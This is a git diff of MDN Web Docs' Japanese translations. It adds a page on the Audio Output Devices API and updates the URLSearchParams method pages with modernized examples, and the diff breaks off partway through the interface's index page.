diff --git a/.prettierignore b/.prettierignore
index 833f4eda29f860..04ef8e773802f9 100644
--- a/.prettierignore
+++ b/.prettierignore
@@ -54,24 +54,11 @@ build/
 /files/ja/web/svg/**/*.md
 
 # ko
-/files/ko/glossary/**/*.md
 /files/ko/learn/**/*.md
-/files/ko/learn/css/**/*.md
-/files/ko/learn/html/**/*.md
-/files/ko/learn/javascript/**/*.md
-/files/ko/learn/server-side/**/*.md
-/files/ko/mdn/**/*.md
-/files/ko/mozilla/**/*.md
-/files/ko/mozilla/add-ons/**/*.md
-/files/ko/mozilla/add-ons/webextensions/api/**/*.md
-/files/ko/mozilla/firefox**/*.md
-/files/ko/web/**/*.md
 /files/ko/web/api/**/*.md
 /files/ko/web/css/**/*.md
 /files/ko/web/html/**/*.md
-/files/ko/web/http/**/*.md
 /files/ko/web/javascript/**/*.md
-/files/ko/web/svg/**/*.md
 
 # pt-br
 /files/pt-br/web/api/**/*.md
diff --git a/files/ja/web/api/audio_output_devices_api/index.md b/files/ja/web/api/audio_output_devices_api/index.md
new file mode 100644
index 00000000000000..acb922fc1b436d
--- /dev/null
+++ b/files/ja/web/api/audio_output_devices_api/index.md
@@ -0,0 +1,108 @@
+---
+title: Audio Output Devices API
+slug: Web/API/Audio_Output_Devices_API
+l10n:
+  sourceCommit: d458c221e219591afaa91beafd544d5eb40e790b
+---
+
+{{DefaultAPISidebar("Audio Output Devices API")}}{{securecontext_header}}{{SeeCompatTable}}
+
+**Audio Output Devices API** により、ウェブアプリケーションがユーザーに音声の再生に用いる出力デバイスを選択させることができます。
+
+## 概念と使用法
+
+オペレーティングシステムには、ユーザーが音声をスピーカーから再生するか、Bluetooth ヘッドセットから再生するか、もしくは他の音声出力デバイスから再生するかを選ぶことができる機能があるものが多いです。
+この API は、ウェブページ内でアプリケーションが同様の機能を提供することを可能にします。
+
+権限ポリシーで許可されている場合でも、ユーザーは一部の出力デバイスから音声を再生するべきではない場所に居る可能性があるので、特定の音声出力デバイスへのアクセスには明示的なユーザーの許可が必要です。
+
+この API は、ドキュメントの [`Permissions-Policy`](/ja/docs/Web/HTTP/Headers/Permissions-Policy) HTTP ヘッダーの [`speaker-selection`](/ja/docs/Web/HTTP/Headers/Permissions-Policy/speaker-selection) ディレクティブによって許可されている場合、ユーザーが希望する音声出力デバイスを選択できるようにする [`MediaDevices.selectAudioOutput()`](/ja/docs/Web/API/MediaDevices/selectAudioOutput) メソッドを提供します。
+これにより選択されたデバイスはユーザーの許可が得られるので、[`MediaDevices.enumerateDevices()`](/ja/docs/Web/API/MediaDevices/enumerateDevices) により列挙したり、[`HTMLMediaElement.setSinkId()`](/ja/docs/Web/API/HTMLMediaElement/setSinkId) により音声出力デバイスとして設定したりできるようになります。
+
+音声デバイスは、自由に接続したり切断したりできます。
+このような変化に対応したいアプリケーションは、[`devicechange` イベント](/ja/docs/Web/API/MediaDevices/devicechange_event)を監視し、[`enumerateDevices()`](/ja/docs/Web/API/MediaDevices/enumerateDevices) を用いて `sinkId` が返されたデバイスに含まれているかを判定できます。
+これにより、たとえば、再生を停止したり再開したりできます。
+
+## インターフェイス
+
+### インターフェイスの拡張
+
+Audio Output Devices API は以下の API を拡張し、以下の機能を追加します。
+
+#### MediaDevices
+
+- [`MediaDevices.selectAudioOutput()`](/ja/docs/Web/API/MediaDevices/selectAudioOutput)
+  - : このメソッドは、ユーザーに特定の音声出力デバイス、たとえばスピーカーやヘッドセットを選択させます。
+    デバイスを選択すると、そのデバイスを使用するユーザーの許可が得られ、ID を含むそのデバイスの情報を返します。
+
+#### HTMLMediaElement
+
+- [`HTMLMediaElement.setSinkId()`](/ja/docs/Web/API/HTMLMediaElement/setSinkId)
+  - : このメソッドは、出力用の音声デバイスの ID を設定し、許可が得られていればそのデバイスを使用するようにします。
+- [`HTMLMediaElement.sinkId`](/ja/docs/Web/API/HTMLMediaElement/sinkId)
+  - : このプロパティは出力に使用されている音声デバイスの一意な ID を返します。デフォルトのユーザーエージェントデバイスが使用されている場合は空文字列を返します。
+
+## セキュリティの要件
+
+この API へのアクセスは、以下の制限を受けます。
+
+- 全てのメソッドやプロパティは[安全なコンテキスト](/ja/docs/Web/Security/Secure_Contexts)でのみ呼びだせます。
+
+- [`MediaDevices.selectAudioOutput()`](/ja/docs/Web/API/MediaDevices/selectAudioOutput) はユーザーから選択されたデバイスを音声の出力先として使用する許可を得ます。
+
+  - アクセスは HTTP の[権限ポリシー](/ja/docs/Web/HTTP/Permissions_Policy)の [`speaker-selection`](/ja/docs/Web/HTTP/Headers/Permissions-Policy/speaker-selection) により制限される可能性があります。
+  - [ユーザーによる一時的な有効化](/ja/docs/Web/Security/User_activation)が必要です。
+    このメソッドを呼び出すには、ユーザーがページまたは UI 要素を操作する必要があります。
+
+- [`HTMLMediaElement.setSinkId()`](/ja/docs/Web/API/HTMLMediaElement/setSinkId) は許可された ID を音声の出力先として設定します。
+
+  - アクセスは HTTP の[権限ポリシー](/ja/docs/Web/HTTP/Permissions_Policy)の [`speaker-selection`](/ja/docs/Web/HTTP/Headers/Permissions-Policy/speaker-selection) により制限される可能性があります。
+  - デフォルト以外のデバイス ID を設定するにはユーザーの許可が必要です。
+    - この許可は、`MediaDevices.selectAudioOutput()` によって開くプロンプトで選択することで得られます。
+    - ユーザーが [`MediaDevices.getUserMedia()`](/ja/docs/Web/API/MediaDevices/getUserMedia) により既に同じグループのメディア入力デバイスを使用することを許可している場合、出力デバイスを使用する許可が暗黙的に得られます。
+
+許可の状態は、[Permissions API](/ja/docs/Web/API/Permissions_API) の [`navigator.permissions.query()`](/ja/docs/Web/API/Permissions/query) に `speaker-selection` 権限を含む `permissionDescriptor` を渡すことで取得できます。
+
+## 例
+
+これは、ボタンのクリックにより呼び出される関数の中で `selectAudioOutput()` を用い、選択されたデバイスを音声の出力先に設定する例です。
+
+このコードは、まず `selectAudioOutput()` に対応しているかを確認します。対応している場合、それを用いて出力先を選択し、[デバイス ID](/ja/docs/Web/API/MediaDeviceInfo/deviceId) を返します。
+そして、音声をデフォルトの出力先を用いて再生し、`setSinkId()` を呼び出して出力先を選択されたデバイスに切り替えます。
+
+```js
+document.querySelector("#myButton").addEventListener("click", async () => {
+  if (!navigator.mediaDevices.selectAudioOutput) {
+    console.log("selectAudioOutput() に未対応か、安全なコンテキストではありません。");
+    return;
+  }
+
+  // デバイスを選択するためのプロンプトを表示する
+  const audioDevice = await navigator.mediaDevices.selectAudioOutput();
+
+  // audio 要素を作成し、デフォルトのデバイスで音声の再生を開始する
+  const audio = document.createElement("audio");
+  audio.src = "https://example.com/audio.mp3";
+  audio.play();
+
+  // 出力先を選択された音声出力デバイスに切り替える
+  audio.setSinkId(audioDevice.deviceId);
+});
+```
+
+出力の詳細を記録すると、たとえば以下の出力が得られます。
+
+```js
+console.log(
+  `${audioDevice.kind}: ${audioDevice.label} id = ${audioDevice.deviceId}`,
+);
+// audiooutput: Realtek Digital Output (Realtek(R) Audio) id = 0wE6fURSZ20H0N2NbxqgowQJLWbwo+5ablCVVJwRM3k=
+```
+
+## 仕様書
+
+{{Specifications}}
+
+## ブラウザーの互換性
+
+{{Compat}}
diff --git a/files/ja/web/api/urlsearchparams/append/index.md b/files/ja/web/api/urlsearchparams/append/index.md
index fa443ac31ff897..def14de36a2026 100644
--- a/files/ja/web/api/urlsearchparams/append/index.md
+++ b/files/ja/web/api/urlsearchparams/append/index.md
@@ -1,11 +1,14 @@
 ---
-title: URLSearchParams.append()
+title: "URLSearchParams: append() メソッド"
+short-title: append()
 slug: Web/API/URLSearchParams/append
+l10n:
+  sourceCommit: acfe8c9f1f4145f77653a2bc64a9744b001358dc
 ---
 
 {{ApiRef("URL API")}}
 
-{{domxref("URLSearchParams")}} インターフェイスの **`append()`** メソッドは、指定されたキー/値のペアを新しい検索パラメーターとして追加します。
+**`append()`** は {{domxref("URLSearchParams")}} インターフェイスのメソッドで、指定されたキー/値のペアを新しい検索パラメーターとして追加します。
 
 下にある例に示すように、同じキーが複数回追加された場合、各値がパラメーター文字列に複数回現れます。
 
@@ -13,41 +16,41 @@ slug: Web/API/URLSearchParams/append
 
 ## 構文
 
-```
-URLSearchParams.append(name, value)
+```js-nolint
+append(name, value)
 ```
 
-### パラメーター
+### 引数
 
 - name
   - : 追加するパラメーターの名前。
 - value
   - : 追加するパラメーターの値。
 
-### 戻り値
+### 返値
 
-無効。
+なし ({{jsxref("undefined")}})。
 
 ## 例
 
 ```js
-let url = new URL('https://example.com?foo=1&bar=2');
-let params = new URLSearchParams(url.search.slice(1));
+let url = new URL("https://example.com?foo=1&bar=2");
+let params = new URLSearchParams(url.search);
 
 // 2番目の foo パラメーターを追加します。
-params.append('foo', 4);
-// クエリー文字列は現在: 'foo=1&bar=2&foo=4'
+params.append("foo", 4);
+// クエリー文字列はこうなる: 'foo=1&bar=2&foo=4'
 ```
 
-## 仕様
+## 仕様書
 
 {{Specifications}}
 
 ## ブラウザーの互換性
 
-{{Compat("api.URLSearchParams.append")}}
+{{Compat}}
 
 ## 関連項目
 
-- その他の URL 関連インターフェイス: {{domxref("URL")}}、{{domxref("HTMLHyperlinkElementUtils")}}。
-- [Google Developers: URLSearchParams を使用した簡単な URL 操作](https://developers.google.com/web/updates/2016/01/urlsearchparams?hl=en)（英語）
+- {{domxref("URL")}}
+- [Google Developers: URLSearchParams を使用した簡単な URL 操作](https://developer.chrome.com/blog/urlsearchparams/)（英語）
diff --git a/files/ja/web/api/urlsearchparams/delete/index.md b/files/ja/web/api/urlsearchparams/delete/index.md
index 9b204c685e3b8f..b48b97456ad6af 100644
--- a/files/ja/web/api/urlsearchparams/delete/index.md
+++ b/files/ja/web/api/urlsearchparams/delete/index.md
@@ -1,43 +1,106 @@
 ---
-title: URLSearchParams.delete()
+title: "URLSearchParams: delete() メソッド"
+short-title: delete()
 slug: Web/API/URLSearchParams/delete
+l10n:
+  sourceCommit: 92ae2da158d7462890f6d76d9bd605468bd906eb
 ---
 
 {{ApiRef("URL API")}}
 
-{{domxref("URLSearchParams")}} インターフェイスの **`delete()`** メソッドは、すべての検索パラメーターのリストから、指定された検索パラメーターとそれに関連するすべての値を削除します。
+**`delete()`** は {{domxref("URLSearchParams")}} インターフェイスのメソッドで、すべての検索パラメーターのリストから、指定された検索パラメーターとそれに関連するすべての値を削除します。
 
-{{availableinworkers}}
+パラメーター名とオプションの値は、パラメーターの照合に使用されます。
+パラメーター名のみが指定された場合、その名前に一致するすべての検索パラメーターが、関連する値とともに削除されます。
+パラメーター名と値の両方が指定された場合、パラメーター名と値の両方に一致するすべての検索パラメーターが削除されます。
+
+{{AvailableInWorkers}}
 
 ## 構文
 
-```
-URLSearchParams.delete(name)
+```js-nolint
+delete(name)
+delete(name, value)
 ```
 
-### パラメーター
+### 引数
 
-- name
+- `name`
   - : 削除するパラメーターの名前。
+- `value` {{optional_inline}}
+  - : パラメーターを削除するために、指定された名前とともにパラメーターが一致しなければならない値。
 
-### 戻り値
+### 返値
 
-無効
+なし ({{jsxref("undefined")}})。
 
 ## 例
 
+### 指定された名前のすべてのパラメーターを削除
+
+この例では、特定の名前を持つクエリーパラメーター（および値）をすべて削除する方法を示します。
+
+```html hidden
+<pre id="log"></pre>
+```
+
+```js hidden
+const logElement = document.getElementById("log");
+function log(text) {
+  logElement.innerText += `${text}\n`;
+}
+```
+
 ```js
-let url = new URL('https://example.com?foo=1&bar=2&foo=3');
-let params = new URLSearchParams(url.search.slice(1));
+const url = new URL("https://example.com?foo=1&bar=2&foo=3");
+const params = new URLSearchParams(url.search);
+log(`Query string (before):\t ${params}`);
+params.delete("foo");
+log(`Query string (after):\t ${params}`);
+```
+
+以下のログは、`foo` という名前を持つパラメータがすべて削除されていることを示しています。
+
+{{EmbedLiveSample('Delete all parameters with specified name', '100%', '50')}}
+
+### 指定した名前と値を持つパラメーターの削除
 
-// foo パラメーターを削除します。
-params.delete('foo'); // クエリー文字列は現在: 'bar=2'
+この例では、特定の名前と値に一致するクエリーパラメーターを削除する方法を示します。
+
+```html hidden
+<pre id="log"></pre>
+```
+
+```js hidden
+const logElement = document.getElementById("log");
+function log(text) {
+  logElement.innerText += `${text}\n`;
+}
+```
+
+```js
+const url = new URL("https://example.com?foo=1&bar=2&foo=3&foo=1");
+const params = new URLSearchParams(url.search);
+log(`Query string (before):\t ${params}`);
+params.delete("foo", "1");
+log(`Query string (after):\t ${params}`);
 ```
 
-## 仕様
+パラメーターの `name` と `value` の両方が一致するパラメーターがすべて削除されるはずです（上記のように、同じ名前と値を持つパラメーターを 2 つ指定する理由はありません）。
+
+{{EmbedLiveSample('Delete parameters with specified name and value', '100%', '50')}}
+
+ブラウザーが `value` オプションに対応している場合、"after" の文字列は `bar=2&foo=3` となります。
+そうでない場合、結果は前の例 (`bar=2`) と同じになります。
+
+## 仕様書
 
 {{Specifications}}
 
 ## ブラウザーの互換性
 
-{{Compat("api.URLSearchParams.delete")}}
+{{Compat}}
+
+## 関連情報
+
+- [`URLSearchParams` のポリフィル (`core-js`)](https://github.com/zloirock/core-js#url-and-urlsearchparams)
diff --git a/files/ja/web/api/urlsearchparams/entries/index.md b/files/ja/web/api/urlsearchparams/entries/index.md
index eb8ad15c0cbae3..b18590d4f3f400 100644
--- a/files/ja/web/api/urlsearchparams/entries/index.md
+++ b/files/ja/web/api/urlsearchparams/entries/index.md
@@ -1,55 +1,58 @@
 ---
-title: URLSearchParams.entries()
+title: "URLSearchParams: entries() メソッド"
+short-title: entries()
 slug: Web/API/URLSearchParams/entries
+l10n:
+  sourceCommit: 0c8a320b035cf625c1df67713a94ead2e7f3aec6
 ---
 
 {{APIRef("URL API")}}
 
-{{domxref("URLSearchParams")}} インターフェイスの **`entries()`** メソッドは、このオブジェクトに含まれるすべてのキー/値のペアを反復処理できる {{jsxref("Iteration_protocols","iterator")}} を返します。 各ペアのキーと値は {{domxref("USVString")}} オブジェクトです。
+**`entries()`** は {{domxref("URLSearchParams")}} インターフェイスのメソッドは、このオブジェクトに含まれるすべてのキー/値のペアを反復処理できる{{jsxref("Iteration_protocols","イテレーター")}}を返します。それぞれのペアのキーと値は文字列です。
 
 {{availableinworkers}}
 
 ## 構文
 
-```
-searchParams.entries();
+```js-nolint
+entries()
 ```
 
-### パラメーター
+### 引数
 
 なし。
 
-### 戻り値
+### 返値
 
-{{jsxref("Iteration_protocols","iterator")}} を返します。
+{{jsxref("Iteration_protocols","イテレーター")}}を返します。
 
 ## 例
 
 ```js
 // テスト用の URLSearchParams オブジェクトの作成
-var searchParams = new URLSearchParams("key1=value1&key2=value2");
+const searchParams = new URLSearchParams("key1=value1&key2=value2");
 
 // キー/値のペアの表示
-for(var pair of searchParams.entries()) {
-   console.log(pair[0]+ ', '+ pair[1]);
+for (const [key, value] of searchParams.entries()) {
+  console.log(`${key}, ${value}`);
 }
 ```
 
 結果は次のとおりです。
 
-```
+```plain
 key1, value1
 key2, value2
 ```
 
-## 仕様
+## 仕様書
 
 {{Specifications}}
 
 ## ブラウザーの互換性
 
-{{Compat("api.URLSearchParams.entries")}}
+{{Compat}}
 
-## 関連項目
+## 関連情報
 
 - {{domxref("URL")}} インターフェイス。
diff --git a/files/ja/web/api/urlsearchparams/foreach/index.md b/files/ja/web/api/urlsearchparams/foreach/index.md
index 1fedfcdddd73fe..0ad41ccfad4ea1 100644
--- a/files/ja/web/api/urlsearchparams/foreach/index.md
+++ b/files/ja/web/api/urlsearchparams/foreach/index.md
@@ -1,55 +1,70 @@
 ---
-title: URLSearchParams.forEach()
+title: "URLSearchParams: forEach() メソッド"
+short-title: forEach()
 slug: Web/API/URLSearchParams/forEach
+l10n:
+  sourceCommit: 592f6ec42e54981b6573b58ec0343c9aa8cbbda8
 ---
 
 {{APIRef("URL API")}}
 
-{{domxref("URLSearchParams")}} インターフェイスの **`forEach()`** メソッドを使用すると、コールバック関数を介してこのオブジェクトに含まれるすべての値を反復処理できます。
+**`forEach()`** は {{domxref("URLSearchParams")}} インターフェイスのメソッドを使用すると、コールバック関数を介してこのオブジェクトに含まれるすべての値を反復処理できます。
 
 {{availableinworkers}}
 
 ## 構文
 
+```js-nolint
+forEach(callback)
+forEach(callback, thisArg)
 ```
-searchParams.forEach(callback);
-```
 
-### パラメーター
+### 引数
+
+- `callback`
+
+  - : それぞれの要素に対して実行される関数で、以下の引数が渡されます。
 
-- callback
-  - : 各パラメーターに対して実行されるコールバック関数。 そのパラメーターとして提供されたパラメーター値を使用します。
+    - `value`
+      - : `URLSearchParams` オブジェクトで現在処理中の項目の値です。
+    - `key`
+      - : `URLSearchParams` オブジェクトで現在処理中の項目のキーです。
+    - `searchParams`
+      - : `forEach()` が呼び出された `URLSearchParams` オブジェクトです。
 
-### 戻り値
+- `thisArg` {{optional_inline}}
+  - : `callback` の実行中に `this` として使用される値です。
 
-無効。
+### 返値
+
+なし ({{jsxref("undefined")}})。
 
 ## 例
 
 ```js
 // テスト用の URLSearchParams オブジェクトの作成
-var searchParams = new URLSearchParams("key1=value1&key2=value2");
+const searchParams = new URLSearchParams("key1=value1&key2=value2");
 
 // 値の記録
-searchParams.forEach(function(value, key) {
+searchParams.forEach((value, key) => {
   console.log(value, key);
 });
 ```
 
 結果は次のとおりです。
 
-```
+```plain
 value1 key1
 value2 key2
 ```
 
-## 仕様
+## 仕様書
 
 {{Specifications}}
 
 ## ブラウザーの互換性
 
-{{Compat("api.URLSearchParams.forEach")}}
+{{Compat}}
 
 ## 関連項目
 
diff --git a/files/ja/web/api/urlsearchparams/get/index.md b/files/ja/web/api/urlsearchparams/get/index.md
index a277e4965a3ccb..9f0f29d2179f30 100644
--- a/files/ja/web/api/urlsearchparams/get/index.md
+++ b/files/ja/web/api/urlsearchparams/get/index.md
@@ -1,49 +1,52 @@
 ---
-title: URLSearchParams.get()
+title: "URLSearchParams: get() メソッド"
+short-title: get()
 slug: Web/API/URLSearchParams/get
+l10n:
+  sourceCommit: 0c8a320b035cf625c1df67713a94ead2e7f3aec6
 ---
 
 {{ApiRef("URL API")}}
 
-{{domxref("URLSearchParams")}} インターフェースの **`get()`** メソッドは、指定された検索パラメーターに関連付けられた最初の値を返します。
+**`get()`** は {{domxref("URLSearchParams")}} インターフェースのメソッドで、指定された検索パラメーターに関連付けられた最初の値を返します。
 
 {{availableinworkers}}
 
 ## 構文
 
-```
-URLSearchParams.get(name)
+```js-nolint
+get(name)
 ```
 
-### パラメーター
+### 引数
 
-- name
+- `name`
   - : 返すパラメーターの名前。
 
-### 戻り値
+### 返値
 
-指定された検索パラメーターが見つかった場合、{{domxref("USVString")}}。 それ以外の場合、**`null`**。
+指定された検索パラメーターが見つかった場合は文字列です。それ以外の場合は **`null`** です。
 
 ## 例
 
-ページの URL が `https://example.com/?name=Jonathan&age=18` の場合、次を使用して 'name' および 'age' のパラメーターを解析できます。
+ページの URL が `https://example.com/?name=Jonathan&age=18` の場合、次のように 'name' および 'age' のパラメーターを解釈できます。
 
-```
-let params = new URLSearchParams(document.location.search.substring(1));
-let name = params.get("name"); // 文字列 "Jonathan" です。
-let age = parseInt(params.get("age"), 10); // 数値 18 です。
+```js
+let params = new URLSearchParams(document.location.search);
+let name = params.get("name"); // 文字列 "Jonathan" です
+let age = parseInt(params.get("age"), 10); // 数値 18 です
 ```
 
 クエリー文字列に存在しないパラメーターを要求すると、**`null`** が返されます。
 
-```
+```js
 let address = params.get("address"); // null
 ```
 
-## 仕様
+## 仕様書
 
 {{Specifications}}
 
 ## ブラウザーの互換性
 
-{{Compat("api.URLSearchParams.get")}}
+{{Compat}}
diff --git a/files/ja/web/api/urlsearchparams/getall/index.md b/files/ja/web/api/urlsearchparams/getall/index.md
index 5f635f1a77b955..902d8816d1fe6d 100644
--- a/files/ja/web/api/urlsearchparams/getall/index.md
+++ b/files/ja/web/api/urlsearchparams/getall/index.md
@@ -1,45 +1,48 @@
 ---
-title: URLSearchParams.getAll()
+title: "URLSearchParams: getAll() メソッド"
+short-title: getAll()
 slug: Web/API/URLSearchParams/getAll
+l10n:
+  sourceCommit: 0c8a320b035cf625c1df67713a94ead2e7f3aec6
 ---
 
 {{ApiRef("URL API")}}
 
-{{domxref("URLSearchParams")}} インターフェイスの **`getAll()`** メソッドは、指定された検索パラメーターに関連付けられたすべての値を配列として返します。
+**`getAll()`** は {{domxref("URLSearchParams")}} インターフェイスのメソッドで、指定された検索パラメーターに関連付けられたすべての値を配列として返します。
 
 {{availableinworkers}}
 
 ## 構文
 
-```
-URLSearchParams.getAll(name)
+```js-nolint
+getAll(name)
 ```
 
-### パラメーター
+### 引数
 
-- name
+- `name`
   - : 返すパラメーターの名前。
 
-### 戻り値
+### 返値
 
-{{domxref("USVString")}} の配列。
+文字列の配列です。
 
 ## 例
 
 ```js
-let url = new URL('https://example.com?foo=1&bar=2');
-let params = new URLSearchParams(url.search.slice(1));
+let url = new URL("https://example.com?foo=1&bar=2");
+let params = new URLSearchParams(url.search);
 
-// 2番目の foo パラメーターを追加します。
-params.append('foo', 4);
+// 2 つ目の foo パラメーターを追加します。
+params.append("foo", 4);
 
-console.log(params.getAll('foo')) // ["1","4"] を表示します。
+console.log(params.getAll("foo")); // ["1","4"] を表示します。
 ```
 
-## 仕様
+## 仕様書
 
 {{Specifications}}
 
 ## ブラウザーの互換性
 
-{{Compat("api.URLSearchParams.getAll")}}
+{{Compat}}
diff --git a/files/ja/web/api/urlsearchparams/has/index.md b/files/ja/web/api/urlsearchparams/has/index.md
index 1fb9c83ea7526a..d41956fe6ca514 100644
--- a/files/ja/web/api/urlsearchparams/has/index.md
+++ b/files/ja/web/api/urlsearchparams/has/index.md
@@ -1,42 +1,109 @@
 ---
-title: URLSearchParams.has()
+title: "URLSearchParams: has() メソッド"
+short-title: has()
 slug: Web/API/URLSearchParams/has
+l10n:
+  sourceCommit: 92ae2da158d7462890f6d76d9bd605468bd906eb
 ---
 
 {{ApiRef("URL API")}}
 
-{{domxref("URLSearchParams")}} インターフェイスの **`has()`** メソッドは、指定された名前のパラメーターが存在するかどうかを示す {{jsxref("Boolean")}} を返します。
+**`has()`** は {{domxref("URLSearchParams")}} インターフェイスのメソッドは、指定された名前のパラメーターが存在するかどうかを示す論理値を返します。
 
-{{availableinworkers}}
+パラメーター名とオプションの値は、パラメーターの照合に使用されます。
+パラメーター名のみが指定された場合、このメソッドはクエリー文字列内のいずれかのパラメーターがその名前と一致した場合に `true` を返し、それ以外の場合は `false` を返します。
+パラメーター名と値の両方が指定された場合、あるパラメーターの名前と値の両方が一致した場合に `true` を返します。
+
+{{AvailableInWorkers}}
 
 ## 構文
 
-```
-var hasName = URLSearchParams.has(name)
+```js-nolint
+has(name)
+has(name, value)
 ```
 
-### パラメーター
+### 引数
 
-- name
-  - : 検索するパラメーターの名前。
+- `name`
+  - : 照合するパラメーターの名前です。
+- `value`
+  - : パラメーターの値で、指定された名前と一緒に照合されます。
 
-### 戻り値
+### 返値
 
-{{jsxref("Boolean")}}。
+論理値です。
 
 ## 例
 
+### 指定された名前のパラメーターをチェック
+
+この例では、クエリー文字列に特定の名前のパラメーターがあるかどうかをチェックする方法を示します。
+
+```html hidden
+<pre id="log"></pre>
+```
+
+```js hidden
+const logElement = document.getElementById("log");
+function log(text) {
+  logElement.innerText += `${text}\n`;
+}
+```
+
 ```js
-let url = new URL('https://example.com?foo=1&bar=2');
-let params = new URLSearchParams(url.search.slice(1));
+const url = new URL("https://example.com?foo=1&bar=2&foo=3");
+const params = new URLSearchParams(url.search);
 
-params.has('bar') === true; // true
+// has() はそのパラメーターがクエリー文字列にある場合に true を返す
+log(`bar?:\t${params.has("bar")}`);
+log(`bark?:\t${params.has("bark")}`);
+log(`foo?:\t${params.has("foo")}`);
 ```
 
-## 仕様
+以下のログは、パラメーター `bar`、`bark`、`foo` がクエリー文字列内に存在するかどうかを示しています。
+
+{{EmbedLiveSample('Check for parameter with specified name', '100%', '80')}}
+
+### 指定された名前と値を持つパラメーターをチェック
+
+この例では、クエリー文字列に特定の名前と値の両方が一致するパラメーターがあるかどうかをチェックする方法を示します。
+
+```html hidden
+<pre id="log"></pre>
+```
+
+```js hidden
+const logElement = document.getElementById("log");
+function log(text) {
+  logElement.innerText += `${text}\n`;
+}
+```
+
+```js
+const url = new URL("https://example.com?foo=1&bar=2&foo=3");
+const params = new URLSearchParams(url.search);
+
+// has() は、一致する名前と値を持つパラメーターがクエリー文字列内にある場合に true を返します。
+log(`bar=1?:\t${params.has("bar", "1")}`);
+log(`bar=2?:\t${params.has("bar", "2")}`);
+log(`foo=4?:\t${params.has("foo", "4")}`);
+```
+
+パラメーター名が `bar` で値が `2` のもののみが一致するので、上記の 2 番目の値のみが `true` になるはずです。
+
+{{EmbedLiveSample('Check for parameter with specified name and value', '100%', '80')}}
+
+ブラウザーが `value` オプションに対応していない場合、このメソッドは名前に一致し、結果はすべて `true` になるはずです。
+
+## 仕様書
 
 {{Specifications}}
 
 ## ブラウザーの互換性
 
-{{Compat("api.URLSearchParams.has")}}
+{{Compat}}
+
+## 関連情報
+
+- [`URLSearchParams` のポリフィル (`core-js`)](https://github.com/zloirock/core-js#url-and-urlsearchparams)
diff --git a/files/ja/web/api/urlsearchparams/index.md b/files/ja/web/api/urlsearchparams/index.md
index c6393684ca8f67..f8f29bc445377e 100644
--- a/files/ja/web/api/urlsearchparams/index.md
+++ b/files/ja/web/api/urlsearchparams/index.md
@@ -1,17 +1,21 @@
 ---
 title: URLSearchParams
 slug: Web/API/URLSearchParams
+l10n:
+  sourceCommit: 92ae2da158d7462890f6d76d9bd605468bd906eb
 ---
 
 {{ApiRef("URL API")}}
 
 **`URLSearchParams`** インターフェイスは URL のクエリー文字列の操作に役立つメソッドを定義します。
 
-`URLSearchParams` を実装するオブジェクトは 直接 {{jsxref("Statements/for...of", "for...of")}} で使うことができます。例えば次の 2 行は等価です。
+`URLSearchParams` を実装しているオブジェクトは、{{jsxref("Statements/for...of", "for...of")}} 構造の中で直接使用して、キーと値のペアをクエリー文字列に現れるのと同じ順序で反復処理することができます。例えば次の 2 行は等価です。
 
 ```js
-for (const [key, value] of mySearchParams) {}
-for (const [key, value] of mySearchParams.entries()) {}
+for (const [key, value] of mySearchParams) {
+}
+for (const [key, value] of mySearchParams.entries()) {
+}
 ```
 
 {{availableinworkers}}
@@ -21,77 +25,144 @@ for (const [key, value] of mySearchParams.entries()) {}
 - {{domxref("URLSearchParams.URLSearchParams", 'URLSearchParams()')}}
   - : `URLSearchParams` オブジェクトを返すコンストラクターです。
 
-## メソッド
+## インスタンスプロパティ
+
+- {{domxref("URLSearchParams.size", 'size')}}
+  - : 検索パラメーター項目の総数を示します。
+
+## インスタンスメソッド
 
 - {{domxref("URLSearchParams.append()")}}
   - : 指定されたキーと値のペアを新しい検索パラメーターとして追加します。
 - {{domxref("URLSearchParams.delete()")}}
-  - : 指定された検索パラメーターとその値を、検索パラメーターのリストからすべて削除します。
+  - : 指定された名前と値に一致する検索パラメーターを、検索パラメーターのリストからすべて削除します。
 - {{domxref("URLSearchParams.entries()")}}
-  - : このオブジェクトに含まれるすべてのキーと値のペアを列挙するための {{jsxref("Iteration_protocols","iterator")}} を返します。
+  - : このオブジェクトに含まれるすべてのキーと値のペアを、クエリー文字列に現れるのと同じ順序で反復処理することができる{{jsxref("Iteration_protocols","イテレーター")}}を返します。
 - {{domxref("URLSearchParams.forEach()")}}
-  - : コールバック関数を介して、このオブジェクトに含まれるすべての値を列挙します。
+  - : コールバック関数を介して、このオブジェクトに含まれるすべての値を反復処理します。
 - {{domxref("URLSearchParams.get()")}}
   - : 指定された検索パラメーターに対応する最初の値を返します。
 - {{domxref("URLSearchParams.getAll()")}}
   - : 指定された検索パラメーターに対応するすべての値を返します。
 - {{domxref("URLSearchParams.has()")}}
-  - : 指定された検索パラメーターが存在するかを表す {{jsxref("Boolean")}} 値を返します。
+  - : 指定されたパラメーター、またはパラメーターと値のペアが存在するかどうかを示す論理値を返します。
 - {{domxref("URLSearchParams.keys()")}}
-  - : このオブジェクトに含まれるすべてのキーと値のペアの**キー**を列挙する {{jsxref("Iteration_protocols", "iterator")}} を返します。
+  - : このオブジェクトに含まれるすべてのキーと値のペアのキーを反復処理する {{jsxref("Iteration_protocols", "イテレーター")}}を返します。
 - {{domxref("URLSearchParams.set()")}}
-  - : 指定された検索パラメーターに対応する値を設定します。複数の値が存在していた場合、それらは削除されます。
+  - : 指定された検索パラメーターに結び付けられた値を指定された値に設定します。複数の値が存在していた場合、他のものは削除されます。
 - {{domxref("URLSearchParams.sort()")}}
   - : すべてのキーと値のペアを、キーを基準にソートします。
 - {{domxref("URLSearchParams.toString()")}}
   - : URL で使用するのに適したクエリー文字列を返します。
 - {{domxref("URLSearchParams.values()")}}
-  - : このオブジェクトに含まれるすべてのキーと値のペアの**値**を列挙する {{jsxref("Iteration_protocols", "iterator")}} を返します。
+  - : このオブジェクトに含まれるすべてのキーと値のペアの値を反復処理する {{jsxref("Iteration_protocols", "イテレーター")}}を返します。
 
 ## 例
 
 ```js
-var paramsString = "q=URLUtils.searchParams&topic=api";
-var searchParams = new URLSearchParams(paramsString);
+const paramsString = "q=URLUtils.searchParams&topic=api";
+const searchParams = new URLSearchParams(paramsString);
 
-// 検索パラメーターを列挙する
-for (let p of searchParams) {
+// 検索パラメーターの列挙
+for (const p of searchParams) {
   console.log(p);
 }
 
-searchParams.has("topic") === true; // true
-searchParams.get("topic") === "api"; // true
-searchParams.getAll("topic"); // ["api"]
-searchParams.get("foo") === null; // true
-searchParams.append("topic", "webdev");
-searchParams.toString(); // "q=URLUtils.searchParams&topic=api&topic=webdev"
-searchParams.set("topic", "More webdev");
-searchParams.toString(); // "q=URLUtils.searchParams&topic=More+webdev"
-searchParams.delete("topic");
-searchParams.toString(); // "q=URLUtils.searchParams"
